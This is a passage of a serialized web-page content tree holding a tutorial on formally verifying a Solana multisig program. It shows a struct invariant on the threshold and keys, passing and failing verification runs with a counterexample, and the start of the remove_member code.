transactions).",{"type":23,"tag":24,"props":22159,"children":22160},{},[22161,22163,22167],{"type":28,"value":22162},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":127,"props":22164,"children":22165},{},[22166],{"type":28,"value":6783},{"type":28,"value":22168}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":22170,"children":22171},{},[22172,22174,22178,22180,22185],{"type":28,"value":22173},"In this case, we want to model this as an ",{"type":23,"tag":127,"props":22175,"children":22176},{},[22177],{"type":28,"value":19276},{"type":28,"value":22179}," on the ",{"type":23,"tag":64,"props":22181,"children":22183},{"className":22182},[],[22184],{"type":28,"value":20240},{"type":28,"value":22186}," account struct:",{"type":23,"tag":435,"props":22188,"children":22190},{"code":22189,"language":474,"meta":7,"className":475,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[22191],{"type":23,"tag":64,"props":22192,"children":22193},{"__ignoreMap":7},[22194,22201,22226,22233,22257,22308,22315,22334,22361,22388,22415,22442,22469,22496,22523,22558],{"type":23,"tag":481,"props":22195,"children":22196},{"class":483,"line":484},[22197],{"type":23,"tag":481,"props":22198,"children":22199},{"style":525},[22200],{"type":28,"value":18268},{"type":23,"tag":481,"props":22202,"children":22203},{"class":483,"line":351},[22204,22208,22213,22217,22222],{"type":23,"tag":481,"props":22205,"children":22206},{"style":525},[22207],{"type":28,"value":20336},{"type":23,"tag":481,"props":22209,"children":22210},{"style":943},[22211],{"type":28,"value":22212},"Clone",{"type":23,"tag":481,"props":22214,"children":22215},{"style":525},[22216],{"type":28,"value":588},{"type":23,"tag":481,"props":22218,"children":22219},{"style":943},[22220],{"type":28,"value":22221},"Debug",{"type":23,"tag":481,"props":22223,"children":22224},{"style":525},[22225],{"type":28,"value":17756},{"type":23,"tag":481,"props":22227,"children":22228},{"class":483,"line":531},[22229],{"type":23,"tag":481,"props":22230,"children":22231},{"style":525},[22232],{"type":28,"value":18276},{"type":23,"tag":481,"props":22234,"children":22235},{"class":483,"line":567},[22236,22241,22245,22249,22253],{"type":23,"tag":481,"props":22237,"children":22238},{"style":525},[22239],{"type":28,"value":22240}," (self",{"type":23,"tag":481,"props":22242,"children":22243},{"style":514},[22244],{"type":28,"value":199},{"type":23,"tag":481,"props":22246,"children":22247},{"style":525},[22248],{"type":28,"value":18569},{"type":23,"tag":481,"props":22250,"children":22251},{"style":514},[22252],{"type":28,"value":7428},{"type":23,"tag":481,"props":22254,"children":22255},{"style":525},[22256],{"type":28,"value":18578},{"type":23,"tag":481,"props":22258,"children":22259},{"class":483,"line":678},[22260,22264,22268,22272,22276,22280,22284,22288,22292,22296,22300,22304],{"type":23,"tag":481,"props":22261,"children":22262},{"style":514},[22263],{"type":28,"value":13111},{"type":23,"tag":481,"props":22265,"children":22266},{"style":525},[22267],{"type":28,"value":18502},{"type":23,"tag":481,"props":22269,"children":22270},{"style":514},[22271],{"type":28,"value":199},{"type":23,"tag":481,"props":22273,"children":22274},{"style":525},[22275],{"type":28,"value":18569},{"type":23,"tag":481,"props":22277,"children":22278},{"style":497},[22279],{"type":28,"value":6322},{"type":23,"tag":481,"props":22281,"children":22282},{"style":943},[22283],{"type":28,"value":11219},{"type":23,"tag":481,"props":22285,"children":22286},{"style":514},[22287],{"type":28,"value":5676},{"type":23,"tag":481,"props":22289,"children":22290},{"style":525},[22291],{"type":28,"value":11285},{"type":23,"tag":481,"props":22293,"children":22294},{"style":514},[22295],{"type":28,"value":199},{"type":23,"tag":481,"props":22297,"children":22298},{"style":525},[22299],{"type":28,"value":18481},{"type":23,"tag":481,"props":22301,"children":22302},{"style":514},[22303],{"type":28,"value":199},{"type":23,"tag":481,"props":22305,"children":22306},{"style":525},[22307],{"type":28,"value":18630},{"type":23,"tag":481,"props":22309,"children":22310},{"class":483,"line":784},[22311],{"type":23,"tag":481,"props":22312,"children":22313},{"style":525},[22314],{"type":28,"value":17756},{"type":23,"tag":481,"props":22316,"children":22317},{"class":483,"line":812},[22318,22322,22326,22330],{"type":23,"tag":481,"props":22319,"children":22320},{"style":497},[22321],{"type":28,"value":11178},{"type":23,"tag":481,"props":22323,"children":22324},{"style":497},[22325],{"type":28,"value":18649},{"type":23,"tag":481,"props":22327,"children":22328},{"style":943},[22329],{"type":28,"value":18654},{"type":23,"tag":481,"props":22331,"children":22332},{"style":525},[22333],{"type":28,"value":809},{"type":23,"tag":481,"props":22335,"children":22336},{"class":483,"line":825},[22337,22341,22345,22349,22353,22357],{"type":23,"tag":481,"props":22338,"children":22339},{"style":497},[22340],{"type":28,"value":18341},{"type":23,"tag":481,"props":22342,"children":22343},{"style":508},[22344],{"type":28,"value":18670},{"type":23,"tag":481,"props":22346,"children":22347},{"style":514},[22348],{"type":28,"value":287},{"type":23,"tag":481,"props":22350,"children":22351},{"style":943},[22352],{"type":28,"value":18528},{"type":23,"tag":481,"props":22354,"children":22355},{"style":525},[22356],{"type":28,"value":18683},{"type":23,"tag":481,"props":22358,"children":22359},{"style":488},[22360],{"type":28,"value":18688},{"type":23,"tag":481,"props":22362,"children":22363},{"class":483,"line":843},[22364,22368,22372,22376,22380,22384],{"type":23,"tag":481,"props":22365,"children":22366},{"style":497},[22367],{"type":28,"value":18341},{"type":23,"tag":481,"props":22369,"children":22370},{"style":508},[22371],{"type":28,"value":18700},{"type":23,"tag":481,"props":22373,"children":22374},{"style":514},[22375],{"type":28,"value":287},{"type":23,"tag":481,"props":22377,"children":22378},{"style":943},[22379],{"type":28,"value":18528},{"type":23,"tag":481,"props":22381,"children":22382},{"style":525},[22383],{"type":28,"value":18713},{"type":23,"tag":481,"props":22385,"children":22386},{"style":488},[22387],{"type":28,"value":18718},{"type":23,"tag":481,"props":22389,"children":22390},{"class":483,"line":864},[22391,22395,22399,22403,22407,22411],{"type":23,"tag":481,"props":22392,"children":22393},{"style":497},[22394],{"type":28,"value":18341},{"type":23,"tag":481,"props":22396,"children":22397},{"style":508},[22398],{"type":28,"value":18730},{"type":23,"tag":481,"props":22400,"children":22401},{"style":514},[22402],{"type":28,"value":287},{"type":23,"tag":481,"props":22404,"children":22405},{"style":943},[22406],{"type":28,"value":15042},{"type":23,"tag":481,"props":22408,"children":22409},{"style":525},[22410],{"type":28,"value":18743},{"type":23,"tag":481,"props":22412,"children":22413},{"style":488},[22414],{"type":28,"value":18748},{"type":23,"tag":481,"props":22416,"children":22417},{"class":483,"line":873},[22418,22422,22426,22430,22434,22438],{"type":23,"tag":481,"props":22419,"children":22420},{"style":497},[22421],{"type":28,"value":18341},{"type":23,"tag":481,"props":22423,"children":22424},{"style":508},[22425],{"type":28,"value":18760},{"type":23,"tag":481,"props":22427,"children":22428},{"style":514},[22429],{"type":28,"value":287},{"type":23,"tag":481,"props":22431,"children":22432},{"style":943},[22433],{"type":28,"value":15042},{"type":23,"tag":481,"props":22435,"children":22436},{"style":525},[22437],{"type":28,"value":18713},{"type":23,"tag":481,"props":22439,"children":22440},{"style":488},[22441],{"type":28,"value":18777},{"type":23,"tag":481,"props":22443,"children":22444},{"class":483,"line":1125},[22445,22449,22453,22457,22461,22465],{"type":23,"tag":481,"props":22446,"children":22447},{"style":497},[22448],{"type":28,"value":18341},{"type":23,"tag":481,"props":22450,"children":22451},{"style":508},[22452],{"type":28,"value":18789},{"type":23,"tag":481,"props":22454,"children":22455},{"style":514},[22456],{"type":28,"value":287},{"type":23,"tag":481,"props":22458,"children":22459},{"style":943},[22460],{"type":28,"value":12122},{"type":23,"tag":481,"props":22462,"children":22463},{"style":525},[22464],{"type":28,"value":18802},{"type":23,"tag":481,"props":22466,"children":22467},{"style":488},[22468],{"type":28,"value":18807},{"type":23,"tag":481,"props":22470,"children":22471},{"class":483,"line":1142},[22472,22476,22480,22484,22488,22492],{"type":23,"tag":481,"props":22473,"children":22474},{"style":497},[22475],{"type":28,"value":18341},{"type":23,"tag":481,"props":22477,"children":22478},{"style":508},[22479],{"type":28,"value":18819},{"type":23,"tag":481,"props":22481,"children":22482},{"style":514},[22483],{"type":28,"value":287},{"type":23,"tag":481,"props":22485,"children":22486},{"style":943},[22487],{"type":28,"value":18355},{"type":23,"tag":481,"props":22489,"children":22490},{"style":525},[22491],{"type":28,"value":18832},{"type":23,"tag":481,"props":22493,"children":22494},{"style":488},[22495],{"type":28,"value":18837},{"type":23,"tag":481,"props":22497,"children":22498},{"class":483,"line":1159},[22499,22503,22507,22511,22515,22519],{"type":23,"tag":481,"props":22500,"children":22501},{"style":497},[22502],{"type":28,"value":18341},{"type":23,"tag":481,"props":22504,"children":22505},{"style":508},[22506],{"type":28,"value":18849},{"type":23,"tag":481,"props":22508,"children":22509},{"style":514},[22510],{"type":28,"value":287},{"type":23,"tag":481,"props":22512,"children":22513},{"style":943},[22514],{"type":28,"value":9537},{"type":23,"tag":481,"props":22516,"children":22517},{"style":525},[22518],{"type":28,"value":588},{"type":23,"tag":481,"props":22520,"children":22521},{"style":488},[22522],{"type":28,"value":18866},{"type":23,"tag":481,"props":22524,"children":22525},{"class":483,"line":1172},[22526,22530,22534,22538,22542,22546,22550,22554],{"type":23,"tag":481,"props":22527,"children":22528},{"style":497},[22529],{"type":28,"value":18341},{"type":23,"tag":481,"props":22531,"children":22532},{"style":508},[22533],{"type":28,"value":18878},{"type":23,"tag":481,"props":22535,"children":22536},{"style":514},[22537],{"type":28,"value":287},{"type":23,"tag":481,"props":22539,"children":22540},{"style":943},[22541],{"type":28,"value":18887},{"type":23,"tag":481,"props":22543,"children":22544},{"style":525},[22545],{"type":28,"value":3282},{"type":23,"tag":481,"props":22547,"children":22548},{"style":943},[22549],{"type":28,"value":18896},{"type":23,"tag":481,"props":22551,"children":22552},{"style":525},[22553],{"type":28,"value":18901},{"type":23,"tag":481,"props":22555,"children":22556},{"style":488},[22557],{"type":28,"value":18906},{"type":23,"tag":481,"props":22559,"children":22560},{"class":483,"line":1181},[22561],{"type":23,"tag":481,"props":22562,"children":22563},{"style":525},[22564],{"type":28,"value":1443},{"type":23,"tag":24,"props":22566,"children":22567},{},[22568,22570,22575],{"type":28,"value":22569},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":64,"props":22571,"children":22573},{"className":22572},[],[22574],{"type":28,"value":20240},{"type":28,"value":22576}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":22578,"children":22579},{},[22580,22582,22587],{"type":28,"value":22581},"Let's try this on the ",{"type":23,"tag":64,"props":22583,"children":22585},{"className":22584},[],[22586],{"type":28,"value":20319},{"type":28,"value":22588}," instruction that we've already seen:",{"type":23,"tag":435,"props":22590,"children":22592},{"code":22591},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[22593],{"type":23,"tag":64,"props":22594,"children":22595},{"__ignoreMap":7},[22596],{"type":28,"value":22591},{"type":23,"tag":24,"props":22598,"children":22599},{},[22600,22602,22607],{"type":28,"value":22601},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":64,"props":22603,"children":22605},{"className":22604},[],[22606],{"type":28,"value":20319},{"type":28,"value":287},{"type":23,"tag":435,"props":22609,"children":22611},{"code":22610,"language":474,"meta":7,"className":475,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[22612],{"type":23,"tag":64,"props":22613,"children":22614},{"__ignoreMap":7},[22615,22623,22631],{"type":23,"tag":481,"props":22616,"children":22617},{"class":483,"line":484},[22618],{"type":23,"tag":481,"props":22619,"children":22620},{"style":488},[22621],{"type":28,"value":22622},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":481,"props":22624,"children":22625},{"class":483,"line":351},[22626],{"type":23,"tag":481,"props":22627,"children":22628},{"style":488},[22629],{"type":28,"value":22630},"// return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":481,"props":22632,"children":22633},{"class":483,"line":531},[22634],{"type":23,"tag":481,"props":22635,"children":22636},{"style":488},[22637],{"type":28,"value":22638},"// }\n",{"type":23,"tag":24,"props":22640,"children":22641},{},[22642],{"type":28,"value":22643},"And run again:",{"type":23,"tag":435,"props":22645,"children":22647},{"code":22646},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[22648],{"type":23,"tag":64,"props":22649,"children":22650},{"__ignoreMap":7},[22651],{"type":28,"value":22646},{"type":23,"tag":24,"props":22653,"children":22654},{},[22655],{"type":28,"value":22656},"We get the following counterexample:",{"type":23,"tag":435,"props":22658,"children":22660},{"code":22659,"language":474,"meta":7,"className":475,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[22661],{"type":23,"tag":64,"props":22662,"children":22663},{"__ignoreMap":7},[22664,22675,22695,22715,22735,22755,22775,22795,22815,22835,22856,22877,22885,22893,22923],{"type":23,"tag":481,"props":22665,"children":22666},{"class":483,"line":484},[22667,22671],{"type":23,"tag":481,"props":22668,"children":22669},{"style":943},[22670],{"type":28,"value":14638},{"type":23,"tag":481,"props":22672,"children":22673},{"style":525},[22674],{"type":28,"value":809},{"type":23,"tag":481,"props":22676,"children":22677},{"class":483,"line":351},[22678,22683,22687,22691],{"type":23,"tag":481,"props":22679,"children":22680},{"style":508},[22681],{"type":28,"value":22682}," account",{"type":23,"tag":481,"props":22684,"children":22685},{"style":514},[22686],{"type":28,"value":287},{"type":23,"tag":481,"props":22688,"children":22689},{"style":943},[22690],{"type":28,"value":18654},{"type":23,"tag":481,"props":22692,"children":22693},{"style":525},[22694],{"type":28,"value":809},{"type":23,"tag":481,"props":22696,"children":22697},{"class":483,"line":531},[22698,22702,22706,22711],{"type":23,"tag":481,"props":22699,"children":22700},{"style":508},[22701],{"type":28,"value":21336},{"type":23,"tag":481,"props":22703,"children":22704},{"style":514},[22705],{"type":28,"value":287},{"type":23,"tag":481,"props":22707,"children":22708},{"style":551},[22709],{"type":28,"value":22710}," 32768",{"type":23,"tag":481,"props":22712,"children":22713},{"style":525},[22714],{"type":28,"value":1033},{"type":23,"tag":481,"props":22716,"children":22717},{"class":483,"line":567},[22718,22723,22727,22731],{"type":23,"tag":481,"props":22719,"children":22720},{"style":508},[22721],{"type":28,"value":22722}," authority_index",{"type":23,"tag":481,"props":22724,"children":22725},{"style":514},[22726],{"type":28,"value":287},{"type":23,"tag":481,"props":22728,"children":22729},{"style":551},[22730],{"type":28,"value":2072},{"type":23,"tag":481,"props":22732,"children":22733},{"style":525},[22734],{"type":28,"value":1033},{"type":23,"tag":481,"props":22736,"children":22737},{"class":483,"line":678},[22738,22743,22747,22751],{"type":23,"tag":481,"props":22739,"children":22740},{"style":508},[22741],{"type":28,"value":22742}," transaction_index",{"type":23,"tag":481,"props":22744,"children":22745},{"style":514},[22746],{"type":28,"value":287},{"type":23,"tag":481,"props":22748,"children":22749},{"style":551},[22750],{"type":28,"value":554},{"type":23,"tag":481,"props":22752,"children":22753},{"style":525},[22754],{"type":28,"value":1033},{"type":23,"tag":481,"props":22756,"children":22757},{"class":483,"line":784},[22758,22763,22767,22771],{"type":23,"tag":481,"props":22759,"children":22760},{"style":508},[22761],{"type":28,"value":22762}," ms_change_index",{"type":23,"tag":481,"props":22764,"children":22765},{"style":514},[22766],{"type":28,"value":287},{"type":23,"tag":481,"props":22768,"children":22769},{"style":551},[22770],{"type":28,"value":554},{"type":23,"tag":481,"props":22772,"children":22773},{"style":525},[22774],{"type":28,"value":1033},{"type":23,"tag":481,"props":22776,"children":22777},{"class":483,"line":812},[22778,22783,22787,22791],{"type":23,"tag":481,"props":22779,"children":22780},{"style":508},[22781],{"type":28,"value":22782}," bump",{"type":23,"tag":481,"props":22784,"children":22785},{"style":514},[22786],{"type":28,"value":287},{"type":23,"tag":481,"props":22788,"children":22789},{"style":551},[22790],{"type":28,"value":554},{"type":23,"tag":481,"props":22792,"children":22793},{"style":525},[22794],{"type":28,"value":1033},{"type":23,"tag":481,"props":22796,"children":22797},{"class":483,"line":825},[22798,22802,22806,22811],{"type":23,"tag":481,"props":22799,"children":22800},{"style":508},[22801],{"type":28,"value":21349},{"type":23,"tag":481,"props":22803,"children":22804},{"style":514},[22805],{"type":28,"value":287},{"type":23,"tag":481,"props":22807,"children":22808},{"style":514},[22809],{"type":28,"value":22810}," ...",{"type":23,"tag":481,"props":22812,"children":22813},{"style":525},[22814],{"type":28,"value":1033},{"type":23,"tag":481,"props":22816,"children":22817},{"class":483,"line":843},[22818,22823,22827,22831],{"type":23,"tag":481,"props":22819,"children":22820},{"style":508},[22821],{"type":28,"value":22822}," allow_external_execute",{"type":23,"tag":481,"props":22824,"children":22825},{"style":514},[22826],{"type":28,"value":287},{"type":23,"tag":481,"props":22828,"children":22829},{"style":497},[22830],{"type":28,"value":6539},{"type":23,"tag":481,"props":22832,"children":22833},{"style":525},[22834],{"type":28,"value":1033},{"type":23,"tag":481,"props":22836,"children":22837},{"class":483,"line":864},[22838,22843,22847,22852],{"type":23,"tag":481,"props":22839,"children":22840},{"style":508},[22841],{"type":28,"value":22842}," keys",{"type":23,"tag":481,"props":22844,"children":22845},{"style":514},[22846],{"type":28,"value":287},{"type":23,"tag":481,"props":22848,"children":22849},{"style":943},[22850],{"type":28,"value":22851}," SparseVec",{"type":23,"tag":481,"props":22853,"children":22854},{"style":525},[22855],{"type":28,"value":809},{"type":23,"tag":481,"props":22857,"children":22858},{"class":483,"line":873},[22859,22864,22868,22873],{"type":23,"tag":481,"props":22860,"children":22861},{"style":508},[22862],{"type":28,"value":22863}," size",{"type":23,"tag":481,"props":22865,"children":22866},{"style":514},[22867],{"type":28,"value":287},{"type":23,"tag":481,"props":22869,"children":22870},{"style":551},[22871],{"type":28,"value":22872}," 5112",{"type":23,"tag":481,"props":22874,"children":22875},{"style":525},[22876],{"type":28,"value":1033},{"type":23,"tag":481,"props":22878,"children":22879},{"class":483,"line":1125},[22880],{"type":23,"tag":481,"props":22881,"children":22882},{"style":525},[22883],{"type":28,"value":22884}," },\n",{"type":23,"tag":481,"props":22886,"children":22887},{"class":483,"line":1142},[22888],{"type":23,"tag":481,"props":22889,"children":22890},{"style":525},[22891],{"type":28,"value":22892}," },\n",{"type":23,"tag":481,"props":22894,"children":22895},{"class":483,"line":1159},[22896,22901,22905,22910,22914,22918],{"type":23,"tag":481,"props":22897,"children":22898},{"style":508},[22899],{"type":28,"value":22900}," info",{"type":23,"tag":481,"props":22902,"children":22903},{"style":514},[22904],{"type":28,"value":287},{"type":23,"tag":481,"props":22906,"children":22907},{"style":943},[22908],{"type":28,"value":22909}," AccountInfo",{"type":23,"tag":481,"props":22911,"children":22912},{"style":525},[22913],{"type":28,"value":7069},{"type":23,"tag":481,"props":22915,"children":22916},{"style":514},[22917],{"type":28,"value":7074},{"type":23,"tag":481,"props":22919,"children":22920},{"style":525},[22921],{"type":28,"value":22922}," },\n",{"type":23,"tag":481,"props":22924,"children":22925},{"class":483,"line":1172},[22926],{"type":23,"tag":481,"props":22927,"children":22928},{"style":525},[22929],{"type":28,"value":1443},{"type":23,"tag":24,"props":22931,"children":22932},{},[22933,22935,22940,22942,22947],{"type":28,"value":22934},"Here we see that the ",{"type":23,"tag":64,"props":22936,"children":22938},{"className":22937},[],[22939],{"type":28,"value":20248},{"type":28,"value":22941}," of the newly created ",{"type":23,"tag":64,"props":22943,"children":22945},{"className":22944},[],[22946],{"type":28,"value":20240},{"type":28,"value":22948}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":7092,"props":22950,"children":22952},{"id":22951},"verify-requirements-to-remove-a-member",[22953],{"type":28,"value":20278},{"type":23,"tag":24,"props":22955,"children":22956},{},[22957,22959,22964,22965,22970,22972,22978],{"type":28,"value":22958},"Now that we've seen both ",{"type":23,"tag":64,"props":22960,"children":22962},{"className":22961},[],[22963],{"type":28,"value":17652},{"type":28,"value":8478},{"type":23,"tag":64,"props":22966,"children":22968},{"className":22967},[],[22969],{"type":28,"value":19276},{"type":28,"value":22971}," let's take a look at the ",{"type":23,"tag":64,"props":22973,"children":22975},{"className":22974},[],[22976],{"type":28,"value":22977},"remove_member",{"type":28,"value":22979}," function:",{"type":23,"tag":435,"props":22981,"children":22983},{"code":22982,"language":474,"meta":7,"className":475,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[22984],{"type":23,"tag":64,"props":22985,"children":22986},{"__ignoreMap":7},[22987,23010,23038,23053,23098,23105,23117,23133,23145,23171,23179,23208,23215,23247,23254,23261,23335,23343,23403,23435,23442,23493,23500,23508,23601,23690,23744,23751,23796,23841],{"type":23,"tag":481,"props":22988,"children":22989},{"class":483,"line":484},[22990,22994,22998,23002,23006],{"type":23,"tag":481,"props":22991,"children":22992},{"style":525},[22993],{"type":28,"value":20336},{"type":23,"tag":481,"props":22995,"children":22996},{"style":943},[22997],{"type":28,"value":20341},{"type":23,"tag":481,"props":22999,"children":23000},{"style":525},[23001],{"type":28,"value":588},{"type":23,"tag":481,"props":23003,"children":23004},{"style":943},[23005],{"type":28,"value":22221},{"type":23,"tag":481,"props":23007,"children":23008},{"style":525},[23009],{"type":28,"value":17756},{"type":23,"tag":481,"props":23011,"children":23012},{"class":483,"line":351},[23013,23017,23021,23026,23030,23034],{"type":23,"tag":481,"props":23014,"children":23015},{"style":497},[23016],{"type":28,"value":11178},{"type":23,"tag":481,"props":23018,"children":23019},{"style":497},[23020],{"type":28,"value":18649},{"type":23,"tag":481,"props":23022,"children":23023},{"style":943},[23024],{"type":28,"value":23025}," MsAuth",{"type":23,"tag":481,"props":23027,"children":23028},{"style":525},[23029],{"type":28,"value":20421},{"type":23,"tag":481,"props":23031,"children":23032},{"style":943},[23033],{"type":28,"value":20426},{"type":23,"tag":481,"props":23035,"children":23036},{"style":525},[23037],{"type":28,"value":4759},{"type":23,"tag":481,"props":23039,"children":23040},{"class":483,"line":531},[23041,23045,23049],{"type":23,"tag":481,"props":23042,"children":23043},{"style":525},[23044],{"type":28,"value":20628},{"type":23,"tag":481,"props":23046,"children":23047},{"style":497},[23048],{"type":28,"value":1259},{"type":23,"tag":481,"props":23050,"children":23051},{"style":525},[23052],{"type":28,"value":17756},{"type":23,"tag":481,"props":23054,"children":23055},{"class":483,"line":567},[23056,23061,23065,23070,23074,23078,23082,23086,23090,23094],{"type":23,"tag":481,"props":23057,"children":23058},{"style":508},[23059],{"type":28,"value":23060}," multisig",{"type":23,"tag":481,"props":23062,"children":23063},{"style":514},[23064],{"type":28,"value":287},{"type":23,"tag":481,"props":23066,"children":23067},{"style":943},[23068],{"type":28,"value":23069}," Box",{"type":23,"tag":481,"props":23071,"children":23072},{"style":525},[23073],{"type":28,"value":3282},{"type":23,"tag":481,"props":23075,"children":23076},{"style":943},[23077],{"type":28,"value":14638},{"type":23,"tag":481,"props":23079,"children":23080},{"style":525},[23081],{"type":28,"value":20421},{"type":23,"tag":481,"props":23083,"children":23084},{"style":943},[23085],{"type":28,"value":20426},{"type":23,"tag":481,"props":23087,"children":23088},{"style":525},[23089],{"type":28,"value":588},{"type":23,"tag":481,"props":23091,"children":23092},{"style":943},[23093],{"type":28,"value":20240},{"type":23,"tag":481,"props":23095,"children":23096},{"style":525},[23097],{"type":28,"value":4429},{"type":23,"tag":481,"props":23099,"children":23100},{"class":483,"line":678},[23101],{"type":23,"tag":481,"props":23102,"children":23103},{"style":525},[23104],{"type":28,"value":20438},{"type":23,"tag":481,"props":23106,"children":23107},{"class":483,"line":784},[23108,23113],{"type":23,"tag":481,"props":23109,"children":23110},{"style":497},[23111],{"type":28,"value":23112}," mut",{"type":23,"tag":481,"props":23114,"children":23115},{"style":525},[23116],{"type":28,"value":1033},{"type":23,"tag":481,"props":23118,"children":23119},{"class":483,"line":812},[23120,23124,23128],{"type":23,"tag":481,"props":23121,"children":23122},{"style":525},[23123],{"type":28,"value":20522},{"type":23,"tag":481,"props":23125,"children":23126},{"style":514},[23127],{"type":28,"value":603},{"type":23,"tag":481,"props":23129,"children":23130},{"style":525},[23131],{"type":28,"value":23132}," [\n",{"type":23,"tag":481,"props":23134,"children":23135},{"class":483,"line":825},[23136,23141],{"type":23,"tag":481,"props":23137,"children":23138},{"style":1805},[23139],{"type":28,"value":23140}," b\"squad\"",{"type":23,"tag":481,"props":23142,"children":23143},{"style":525},[23144],{"type":28,"value":1033},{"type":23,"tag":481,"props":23146,"children":23147},{"class":483,"line":843},[23148,23153,23157,23162,23166],{"type":23,"tag":481,"props":23149,"children":23150},{"style":525},[23151],{"type":28,"value":23152}," multisig",{"type":23,"tag":481,"props":23154,"children":23155},{"style":514},[23156],{"type":28,"value":199},{"type":23,"tag":481,"props":23158,"children":23159},{"style":525},[23160],{"type":28,"value":23161},"create_key",{"type":23,"tag":481,"props":23163,"children":23164},{"style":514},[23165],{"type":28,"value":199},{"type":23,"tag":481,"props":23167,"children":23168},{"style":525},[23169],{"type":28,"value":23170},"as_ref(),\n",{"type":23,"tag":481,"props":23172,"children":23173},{"class":483,"line":864},[23174],{"type":23,"tag":481,"props":23175,"children":23176},{"style":1805},[23177],{"type":28,"value":23178}," b\"multisig\"\n",{"type":23,"tag":481,"props":23180,"children":23181},{"class":483,"line":873},[23182,23187,23192,23196,23200,23204],{"type":23,"tag":481,"props":23183,"children":23184},{"style":525},[23185],{"type":28,"value":23186}," ], ",{"type":23,"tag":481,"props":23188,"children":23189},{"style":508},[23190],{"type":28,"value":23191},"bump",{"type":23,"tag":481,"props":23193,"children":23194},{"style":514},[23195],{"type":28,"value":517},{"type":23,"tag":481,"props":23197,"children":23198},{"style":508},[23199],{"type":28,"value":20584},{"type":23,"tag":481,"props":23201,"children":23202},{"style":514},[23203],{"type":28,"value":199},{"type":23,"tag":481,"props":23205,"children":23206},{"style":525},[23207],{"type":28,"value":20564},{"type":23,"tag":481,"props":23209,"children":23210},{"class":483,"line":1125},[23211],{"type":23,"tag":481,"props":23212,"children":23213},{"style":525},[23214],{"type":28,"value":20572},{"type":23,"tag":481,"props":23216,"children":23217},{"class":483,"line":1142},[23218,23222,23227,23231,23235,23239,23243],{"type":23,"tag":481,"props":23219,"children":23220},{"style":497},[23221],{"type":28,"value":18341},{"type":23,"tag":481,"props":23223,"children":23224},{"style":508},[23225],{"type":28,"value":23226}," multisig_auth",{"type":23,"tag":481,"props":23228,"children":23229},{"style":514},[23230],{"type":28,"value":287},{"type":23,"tag":481,"props":23232,"children":23233},{"style":943},[23234],{"type":28,"value":20657},{"type":23,"tag":481,"props":23236,"children":23237},{"style":525},[23238],{"type":28,"value":20421},{"type":23,"tag":481,"props":23240,"children":23241},{"style":943},[23242],{"type":28,"value":20426},{"type":23,"tag":481,"props":23244,"children":23245},{"style":525},[23246],{"type":28,"value":3615},{"type":23,"tag":481,"props":23248,"children":23249},{"class":483,"line":1159},[23250],{"type":23,"tag":481,"props":23251,"children":23252},{"style":525},[23253],{"type":28,"value":1443},{"type":23,"tag":481,"props":23255,"children":23256},{"class":483,"line":1172},[23257],{"type":23,"tag":481,"props":23258,"children":23259},{"emptyLinePlaceholder":15},[23260],{"type":28,"value":1210},{"type":23,"tag":481,"props":23262,"children":23263},{"class":483,"line":1181},[23264,23268,23272,23277,23281,23285,23289,23293,23297,23302,23306,23311,23315,23319,23323,23327,23331],{"type":23,"tag":481,"props":23265,"children":23266},{"style":497},[23267],{"type":28,"value":11178},{"type":23,"tag":481,"props":23269,"children":23270},{"style":497},[23271],{"type":28,"value":11183},{"type":23,"tag":481,"props":23273,"children":23274},{"style":610},[23275],{"type":28,"value":23276}," 